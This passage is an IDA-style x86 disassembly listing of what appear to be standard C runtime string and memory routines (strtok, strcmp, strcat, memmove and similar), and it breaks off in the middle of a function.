		jnz	short loc_41BD99
		cmp	[ebp+var_8], eax
		jbe	short loc_41BD99


loc_41BD72:				; CODE XREF: sub_41BBBD+197j
					; sub_41BBBD+1AAj
		test	byte ptr [ebp+arg_C], 1
		mov	dword_4DB958, 22h
		jz	short loc_41BD88
		or	[ebp+var_8], 0FFFFFFFFh
		jmp	short loc_41BD99
; ---------------------------------------------------------------------------


loc_41BD88:				; CODE XREF: sub_41BBBD+1C3j
		mov	ecx, [ebp+arg_C]
		and	cl, 2
		neg	cl
		sbb	ecx, ecx
		neg	ecx
		add	ecx, eax
		mov	[ebp+var_8], ecx


loc_41BD99:				; CODE XREF: sub_41BBBD+18Dj
					; sub_41BBBD+19Cj ...
		test	edx, edx
		jz	short loc_41BDA2
		mov	eax, [ebp+var_4]
		mov	[edx], eax


loc_41BDA2:				; CODE XREF: sub_41BBBD+1DEj
		test	byte ptr [ebp+arg_C], 2
		jz	short loc_41BDB0
		mov	eax, [ebp+var_8]
		neg	eax
		mov	[ebp+var_8], eax


loc_41BDB0:				; CODE XREF: sub_41BBBD+1E9j
		mov	eax, [ebp+var_8]
		jmp	short loc_41BDC0
; ---------------------------------------------------------------------------


loc_41BDB5:				; CODE XREF: sub_41BBBD+66j
					; sub_41BBBD+6Fj ...
		mov	eax, [ebp+arg_4]
		test	eax, eax
		jz	short loc_41BDBE
		mov	[eax], edi


loc_41BDBE:				; CODE XREF: sub_41BBBD+1FDj
		xor	eax, eax


loc_41BDC0:				; CODE XREF: sub_41BBBD+1F6j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41BBBD	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BDC5	proc near		; CODE XREF: sub_401ACD+61CFp
					; sub_401ACD+6A10p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	1
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_41BBBD
		add	esp, 10h
		retn
sub_41BDC5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41BDDC	proc near		; CODE XREF: sub_401ACD+5981p

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		nop
		call	near ptr 268018Ah
		test	eax, eax
		jnz	short loc_41BDF2
		call	near ptr 2680867h
		nop
		jmp	short loc_41BDF4
; ---------------------------------------------------------------------------


loc_41BDF2:				; CODE XREF: sub_41BDDC+Cj
		xor	eax, eax


loc_41BDF4:				; CODE XREF: sub_41BDDC+14j
		test	eax, eax
		jz	short loc_41BE03
		push	eax
		call	sub_4203DF
		pop	ecx
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_41BE03:				; CODE XREF: sub_41BDDC+1Aj
		xor	eax, eax
		retn
sub_41BDDC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BE06	proc near		; CODE XREF: sub_401ACD+58D3p
					; ___:00411CA2p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_420446
		mov	esi, eax
		lea	eax, [ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41F69F
		push	[ebp+arg_0]
		mov	edi, eax
		push	esi
		call	sub_4204D3
		add	esp, 18h
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_41BE06	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BE40	proc near		; CODE XREF: sub_401ACD+1E82p
					; sub_401ACD+1EA1p ...

arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, [ebp+arg_0]
		xor	eax, eax
		or	ecx, 0FFFFFFFFh
		repne scasb
		inc	ecx
		neg	ecx
		dec	edi
		mov	al, [ebp+arg_4]
		std
		repne scasb
		inc	edi
		cmp	[edi], al
		jz	short loc_41BE61
		xor	eax, eax
		jmp	short loc_41BE63
; ---------------------------------------------------------------------------


loc_41BE61:				; CODE XREF: sub_41BE40+1Bj
		mov	eax, edi


loc_41BE63:				; CODE XREF: sub_41BE40+1Fj
		cld
		pop	edi
		leave
		retn
sub_41BE40	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41BE70	proc near		; CODE XREF: sub_401ACD+870p
					; ___:0041DD1Dp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	ecx, [ebp+arg_8]
		jecxz	short loc_41BEA1
		mov	ebx, ecx
		mov	edi, [ebp+arg_0]
		mov	esi, edi
		xor	eax, eax
		repne scasb
		neg	ecx
		add	ecx, ebx
		mov	edi, esi
		mov	esi, [ebp+arg_4]
		repe cmpsb
		mov	al, [esi-1]
		xor	ecx, ecx
		cmp	al, [edi-1]
		ja	short loc_41BE9F
		jz	short loc_41BEA1
		dec	ecx
		dec	ecx


loc_41BE9F:				; CODE XREF: sub_41BE70+29j
		not	ecx


loc_41BEA1:				; CODE XREF: sub_41BE70+9j
					; sub_41BE70+2Bj
		mov	eax, ecx
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn
sub_41BE70	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41BEB0	proc near		; CODE XREF: sub_401ACD+42Fp
					; sub_401ACD+2FFDp ...

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		jmp	short loc_41BF21
sub_41BEB0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41BEC0	proc near		; CODE XREF: sub_401ACD+438p
					; sub_401ACD+75FFp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_0]
		push	edi
		test	ecx, 3
		jz	short loc_41BEDC


loc_41BECD:				; CODE XREF: sub_41BEC0+1Aj
		mov	al, [ecx]
		inc	ecx
		test	al, al
		jz	short loc_41BF0F
		test	ecx, 3
		jnz	short loc_41BECD


loc_41BEDC:				; CODE XREF: sub_41BEC0+Bj
					; sub_41BEC0+32j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_41BEDC
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_41BF1E
		test	ah, ah
		jz	short loc_41BF19
		test	eax, 0FF0000h
		jz	short loc_41BF14
		test	eax, 0FF000000h
		jz	short loc_41BF0F
		jmp	short loc_41BEDC
; ---------------------------------------------------------------------------


loc_41BF0F:				; CODE XREF: sub_41BEC0+12j
					; sub_41BEC0+4Bj
		lea	edi, [ecx-1]
		jmp	short loc_41BF21
; ---------------------------------------------------------------------------


loc_41BF14:				; CODE XREF: sub_41BEC0+44j
		lea	edi, [ecx-2]
		jmp	short loc_41BF21
; ---------------------------------------------------------------------------


loc_41BF19:				; CODE XREF: sub_41BEC0+3Dj
		lea	edi, [ecx-3]
		jmp	short loc_41BF21
; ---------------------------------------------------------------------------


loc_41BF1E:				; CODE XREF: sub_41BEC0+39j
		lea	edi, [ecx-4]


loc_41BF21:				; CODE XREF: sub_41BEB0+5j
					; sub_41BEC0+52j ...
		mov	ecx, [esp+4+arg_4]
		test	ecx, 3
		jz	short loc_41BF46


loc_41BF2D:				; CODE XREF: sub_41BEC0+7Dj
		mov	dl, [ecx]
		inc	ecx
		test	dl, dl
		jz	short loc_41BF98
		mov	[edi], dl
		inc	edi
		test	ecx, 3
		jnz	short loc_41BF2D
		jmp	short loc_41BF46
; ---------------------------------------------------------------------------


loc_41BF41:				; CODE XREF: sub_41BEC0+9Ej
					; sub_41BEC0+B8j
		mov	[edi], edx
		add	edi, 4


loc_41BF46:				; CODE XREF: sub_41BEC0+6Bj
					; sub_41BEC0+7Fj
		mov	edx, 7EFEFEFFh
		mov	eax, [ecx]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [ecx]
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_41BF41
		test	dl, dl
		jz	short loc_41BF98
		test	dh, dh
		jz	short loc_41BF8F
		test	edx, 0FF0000h
		jz	short loc_41BF82
		test	edx, 0FF000000h
		jz	short loc_41BF7A
		jmp	short loc_41BF41
; ---------------------------------------------------------------------------


loc_41BF7A:				; CODE XREF: sub_41BEC0+B6j
		mov	[edi], edx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41BF82:				; CODE XREF: sub_41BEC0+AEj
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		mov	byte ptr [edi+2], 0
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41BF8F:				; CODE XREF: sub_41BEC0+A6j
		mov	[edi], dx
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41BF98:				; CODE XREF: sub_41BEC0+72j
					; sub_41BEC0+A2j
		mov	[edi], dl
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
sub_41BEC0	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41BFB0


loc_41BFA0:				; CODE XREF: sub_41BFB0+1Dj
		lea	eax, [edx-1]
		pop	ebx
		retn
; END OF FUNCTION CHUNK	FOR sub_41BFB0
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41BFB0	proc near		; CODE XREF: sub_401ACD+414p
					; sub_401ACD+4C3p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

; FUNCTION CHUNK AT 0041BFA0 SIZE 00000005 BYTES

		xor	eax, eax
		mov	al, [esp+arg_4]


loc_41BFB6:				; CODE XREF: sub_41B900+6Ej
		push	ebx
		mov	ebx, eax
		shl	eax, 8
		mov	edx, [esp+4+arg_0]
		test	edx, 3
		jz	short loc_41BFDB


loc_41BFC8:				; CODE XREF: sub_41BFB0+29j
		mov	cl, [edx]
		inc	edx
		cmp	cl, bl
		jz	short loc_41BFA0
		test	cl, cl
		jz	short loc_41C024
		test	edx, 3
		jnz	short loc_41BFC8


loc_41BFDB:				; CODE XREF: sub_41BFB0+16j
		or	ebx, eax
		push	edi
		mov	eax, ebx
		shl	ebx, 10h
		push	esi
		or	ebx, eax


loc_41BFE6:				; CODE XREF: sub_41BFB0+61j
					; sub_41BFB0+70j ...
		mov	ecx, [edx]
		mov	edi, 7EFEFEFFh
		mov	eax, ecx
		mov	esi, edi
		xor	ecx, ebx
		add	esi, eax
		add	edi, ecx
		xor	ecx, 0FFFFFFFFh
		xor	eax, 0FFFFFFFFh
		xor	ecx, edi
		xor	eax, esi
		add	edx, 4
		and	ecx, 81010100h
		jnz	short loc_41C028
		and	eax, 81010100h
		jz	short loc_41BFE6
		and	eax, 1010100h
		jnz	short loc_41C022
		and	esi, 80000000h
		jnz	short loc_41BFE6


loc_41C022:				; CODE XREF: sub_41BFB0+68j
					; sub_41BFB0+81j ...
		pop	esi
		pop	edi


loc_41C024:				; CODE XREF: sub_41BFB0+21j
		pop	ebx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41C028:				; CODE XREF: sub_41BFB0+5Aj
		mov	eax, [edx-4]
		cmp	al, bl
		jz	short loc_41C065
		test	al, al
		jz	short loc_41C022
		cmp	ah, bl
		jz	short loc_41C05E
		test	ah, ah
		jz	short loc_41C022
		shr	eax, 10h
		cmp	al, bl
		jz	short loc_41C057
		test	al, al
		jz	short loc_41C022
		cmp	ah, bl
		jz	short loc_41C050
		test	ah, ah
		jz	short loc_41C022
		jmp	short loc_41BFE6
; ---------------------------------------------------------------------------


loc_41C050:				; CODE XREF: sub_41BFB0+98j
		pop	esi
		pop	edi
		lea	eax, [edx-1]
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41C057:				; CODE XREF: sub_41BFB0+90j
		lea	eax, [edx-2]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41C05E:				; CODE XREF: sub_41BFB0+85j
		lea	eax, [edx-3]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_41C065:				; CODE XREF: sub_41BFB0+7Dj
		lea	eax, [edx-4]
		pop	esi
		pop	edi
		pop	ebx
		retn
sub_41BFB0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41C070	proc near		; CODE XREF: sub_401ACD+1AEp
					; sub_401ACD+205p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		test	edx, 3
		jnz	short loc_41C0BC


loc_41C080:				; CODE XREF: sub_41C070+3Cj
					; sub_41C070+66j ...
		mov	eax, [edx]
		cmp	al, [ecx]
		jnz	short loc_41C0B4
		or	al, al
		jz	short loc_41C0B0
		cmp	ah, [ecx+1]
		jnz	short loc_41C0B4
		or	ah, ah
		jz	short loc_41C0B0
		shr	eax, 10h
		cmp	al, [ecx+2]
		jnz	short loc_41C0B4
		or	al, al
		jz	short loc_41C0B0
		cmp	ah, [ecx+3]
		jnz	short loc_41C0B4
		add	ecx, 4
		add	edx, 4
		or	ah, ah
		jnz	short loc_41C080
		mov	edi, edi


loc_41C0B0:				; CODE XREF: sub_41C070+18j
					; sub_41C070+21j ...
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41C0B4:				; CODE XREF: sub_41C070+14j
					; sub_41C070+1Dj ...
		sbb	eax, eax
		shl	eax, 1
		inc	eax
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41C0BC:				; CODE XREF: sub_41C070+Ej
		test	edx, 1
		jz	short loc_41C0D8
		mov	al, [edx]
		inc	edx
		cmp	al, [ecx]
		jnz	short loc_41C0B4
		inc	ecx
		or	al, al
		jz	short loc_41C0B0
		test	edx, 2
		jz	short loc_41C080


loc_41C0D8:				; CODE XREF: sub_41C070+52j
		mov	ax, [edx]
		add	edx, 2
		cmp	al, [ecx]
		jnz	short loc_41C0B4
		or	al, al
		jz	short loc_41C0B0
		cmp	ah, [ecx+1]
		jnz	short loc_41C0B4
		or	ah, ah
		jz	short loc_41C0B0
		add	ecx, 2
		jmp	short loc_41C080
sub_41C070	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C0F4	proc near		; CODE XREF: sub_401ACD+B5p
					; sub_401ACD+D5p ...

var_20		= byte ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		push	edi
		push	8
		xor	eax, eax
		pop	ecx
		lea	edi, [ebp+var_20]
		rep stosd
		push	7
		pop	edi


loc_41C10D:				; CODE XREF: sub_41C0F4+32j
		mov	dl, [esi]
		mov	bl, 1
		movzx	ecx, dl
		mov	eax, ecx
		and	ecx, edi
		shr	eax, 3
		shl	bl, cl
		lea	eax, [ebp+eax+var_20]
		or	[eax], bl
		inc	esi
		test	dl, dl
		jnz	short loc_41C10D
		mov	edx, [ebp+arg_0]
		test	edx, edx
		jnz	short loc_41C135
		mov	edx, dword_4DB9A4


loc_41C135:				; CODE XREF: sub_41C0F4+39j
					; sub_41C0F4+5Fj
		mov	al, [edx]
		push	1
		movzx	esi, al
		mov	ecx, esi
		pop	ebx
		and	ecx, edi
		shl	ebx, cl
		shr	esi, 3
		mov	cl, [ebp+esi+var_20]
		test	bl, cl
		jz	short loc_41C155
		test	al, al
		jz	short loc_41C155
		inc	edx
		jmp	short loc_41C135
; ---------------------------------------------------------------------------


loc_41C155:				; CODE XREF: sub_41C0F4+58j
					; sub_41C0F4+5Cj
		mov	ebx, edx


loc_41C157:				; CODE XREF: sub_41C0F4+81j
		mov	al, [edx]
		test	al, al
		jz	short loc_41C17B
		movzx	esi, al
		mov	ecx, esi
		push	1
		and	ecx, edi
		pop	eax
		shl	eax, cl
		shr	esi, 3
		mov	cl, [ebp+esi+var_20]
		test	al, cl
		jnz	short loc_41C177
		inc	edx
		jmp	short loc_41C157
; ---------------------------------------------------------------------------


loc_41C177:				; CODE XREF: sub_41C0F4+7Ej
		and	byte ptr [edx],	0
		inc	edx


loc_41C17B:				; CODE XREF: sub_41C0F4+67j
		mov	eax, ebx
		pop	edi
		sub	eax, edx
		pop	esi
		neg	eax
		sbb	eax, eax
		mov	dword_4DB9A4, edx
		and	eax, ebx
		pop	ebx
		leave
		retn
sub_41C0F4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C190	proc near		; CODE XREF: sub_409A2D+1Cp
					; sub_415221+19p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		push	[ebp+arg_C]
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_8]
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+var_20]
		mov	[ebp+var_14], 42h
		push	eax
		call	sub_41F69F
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_41C1CE
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_41C1DB
; ---------------------------------------------------------------------------


loc_41C1CE:				; CODE XREF: sub_41C190+34j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_41F58A
		pop	ecx
		pop	ecx


loc_41C1DB:				; CODE XREF: sub_41C190+3Cj
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41C190	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C1E0	proc near		; CODE XREF: sub_40AFEB+88p
					; sub_40B64B+60p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	edi
		test	ecx, ecx
		jz	loc_41C294
		mov	edi, [esp+4+arg_0]
		push	esi
		test	edi, 3
		push	ebx
		jz	short loc_41C20A


loc_41C1FB:				; CODE XREF: sub_41C1E0+28j
		mov	al, [edi]
		inc	edi
		test	al, al
		jz	short loc_41C23B
		test	edi, 3
		jnz	short loc_41C1FB


loc_41C20A:				; CODE XREF: sub_41C1E0+19j
					; sub_41C1E0+40j ...
		mov	eax, [edi]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	edi, 4
		test	eax, 81010100h
		jz	short loc_41C20A
		mov	eax, [edi-4]
		test	al, al
		jz	short loc_41C248
		test	ah, ah
		jz	short loc_41C243
		test	eax, 0FF0000h
		jz	short loc_41C23E
		test	eax, 0FF000000h
		jnz	short loc_41C20A


loc_41C23B:				; CODE XREF: sub_41C1E0+20j
		dec	edi
		jmp	short loc_41C24B
; ---------------------------------------------------------------------------


loc_41C23E:				; CODE XREF: sub_41C1E0+52j
		sub	edi, 2
		jmp	short loc_41C24B
; ---------------------------------------------------------------------------


loc_41C243:				; CODE XREF: sub_41C1E0+4Bj
		sub	edi, 3
		jmp	short loc_41C24B
; ---------------------------------------------------------------------------


loc_41C248:				; CODE XREF: sub_41C1E0+47j
		sub	edi, 4


loc_41C24B:				; CODE XREF: sub_41C1E0+5Cj
					; sub_41C1E0+61j ...
		mov	esi, [esp+0Ch+arg_4]
		test	esi, 3
		jnz	short loc_41C260
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41C2AC
		jmp	short loc_41C27C
; ---------------------------------------------------------------------------


loc_41C260:				; CODE XREF: sub_41C1E0+75j
					; sub_41C1E0+93j
		mov	dl, [esi]
		inc	esi
		test	dl, dl
		jz	short loc_41C29A
		mov	[edi], dl
		inc	edi
		dec	ecx
		jz	short loc_41C290
		test	esi, 3
		jnz	short loc_41C260
		mov	ebx, ecx
		shr	ecx, 2
		jnz	short loc_41C2AC


loc_41C27C:				; CODE XREF: sub_41C1E0+7Ej
					; sub_41C1E0+CAj
		mov	ecx, ebx
		and	ecx, 3
		jz	short loc_41C290


loc_41C283:				; CODE XREF: sub_41C1E0+AEj
		mov	dl, [esi]
		inc	esi
		mov	[edi], dl
		inc	edi
		test	dl, dl
		jz	short loc_41C292
		dec	ecx
		jnz	short loc_41C283


loc_41C290:				; CODE XREF: sub_41C1E0+8Bj
					; sub_41C1E0+A1j
		mov	[edi], cl


loc_41C292:				; CODE XREF: sub_41C1E0+ABj
		pop	ebx
		pop	esi


loc_41C294:				; CODE XREF: sub_41C1E0+7j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41C29A:				; CODE XREF: sub_41C1E0+85j
					; sub_41C1E0+E8j
		mov	[edi], dl
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41C2A4:				; CODE XREF: sub_41C1E0+E4j
					; sub_41C1E0+FCj
		mov	[edi], edx
		add	edi, 4
		dec	ecx
		jz	short loc_41C27C


loc_41C2AC:				; CODE XREF: sub_41C1E0+7Cj
					; sub_41C1E0+9Aj
		mov	edx, 7EFEFEFFh
		mov	eax, [esi]
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		mov	edx, [esi]
		add	esi, 4
		test	eax, 81010100h
		jz	short loc_41C2A4
		test	dl, dl
		jz	short loc_41C29A
		test	dh, dh
		jz	short loc_41C2F8
		test	edx, 0FF0000h
		jz	short loc_41C2E8
		test	edx, 0FF000000h
		jnz	short loc_41C2A4
		mov	[edi], edx
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41C2E8:				; CODE XREF: sub_41C1E0+F4j
		mov	[edi], dx
		xor	edx, edx
		mov	eax, [esp+0Ch+arg_0]
		mov	[edi+2], dl
		pop	ebx
		pop	esi
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41C2F8:				; CODE XREF: sub_41C1E0+ECj
		mov	[edi], dx
		mov	eax, [esp+0Ch+arg_0]
		pop	ebx
		pop	esi
		pop	edi
		retn
sub_41C1E0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C310	proc near		; CODE XREF: sub_40BFA4+15p
					; sub_40BFA4+3Bp ...

var_3A3BFFC0	= byte ptr -3A3BFFC0h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_41C330
		cmp	edi, eax
		jb	loc_41C4A8


loc_41C330:				; CODE XREF: sub_41C310+16j
		test	edi, 3
		jnz	short loc_41C34C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41C36C
		rep movsd
		jmp	off_41C458[edx*4]
; ---------------------------------------------------------------------------


loc_41C34C:				; CODE XREF: sub_41C310+26j
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_41C364
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr loc_41C36C+4[eax*4]
; ---------------------------------------------------------------------------


loc_41C364:				; CODE XREF: sub_41C310+46j
		jmp	dword ptr loc_41C468[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41C36C:				; CODE XREF: sub_41C310+31j
					; sub_41C310+8Ej ...
		jmp	off_41C3EC[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_41C380
; ---------------------------------------------------------------------------
		lodsb
		retn
; ---------------------------------------------------------------------------
		inc	ecx
		add	al, dl
		retn
; ---------------------------------------------------------------------------
		dw 41h
; ---------------------------------------------------------------------------


loc_41C380:				; DATA XREF: sub_41C310+64o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_41C36C
		rep movsd
		jmp	off_41C458[edx*4]
; ---------------------------------------------------------------------------
		align 4
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
		jb	short loc_41C36C
		rep movsd
		jmp	off_41C458[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		inc	esi
		shr	ecx, 2
		inc	edi
		cmp	ecx, 8
		jb	short loc_41C36C
		rep movsd
		jmp	off_41C458[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41C3EC	dd offset loc_41C44F	; DATA XREF: sub_41C310:loc_41C36Cr
		dd offset loc_41C43C
		dd offset loc_41C434
		dd offset loc_41C42C
		dd offset loc_41C424
		dd offset loc_41C41C
		dd offset loc_41C414
		dd offset loc_41C40C
; ---------------------------------------------------------------------------


loc_41C40C:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310+F8o
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax


loc_41C414:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310+F4o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax


loc_41C41C:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310+F0o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax


loc_41C424:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310+ECo
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax


loc_41C42C:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310+E8o
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax


loc_41C434:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310+E4o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax


loc_41C43C:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310+E0o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_41C44F:				; CODE XREF: sub_41C310:loc_41C36Cj
					; DATA XREF: sub_41C310:off_41C3ECo
		jmp	off_41C458[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41C458	dd offset loc_41C468	; DATA XREF: sub_41C310+35r
					; sub_41C310+92r ...
		dd offset loc_41C470
		dd offset loc_41C47C
		dd offset loc_41C490
; ---------------------------------------------------------------------------


loc_41C468:				; CODE XREF: sub_41C310+35j
					; sub_41C310+92j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_41C470:				; CODE XREF: sub_41C310+35j
					; sub_41C310+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41C47C:				; CODE XREF: sub_41C310+35j
					; sub_41C310+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_41C490:				; CODE XREF: sub_41C310+35j
					; sub_41C310+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41C4A8:				; CODE XREF: sub_41C310+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_41C4DC
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41C4D0
		std
		rep movsd
		cld
		jmp	off_41C5F0[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_41C4D0:				; CODE XREF: sub_41C310+1B1j
					; sub_41C310+208j ...
		neg	ecx
		jmp	dword ptr loc_41C59F+1[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41C4DC:				; CODE XREF: sub_41C310+1A6j
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_41C4F4
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr loc_41C4F4+4[eax*4]
; ---------------------------------------------------------------------------


loc_41C4F4:				; CODE XREF: sub_41C310+1D6j
					; DATA XREF: sub_41C310+1DDr
		jmp	off_41C5F0[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		or	ch, al
		inc	ecx
		add	[eax], ch
		lds	eax, [ecx+0]
		push	eax
		lds	eax, [ecx+0]
		mov	al, [esi+3]
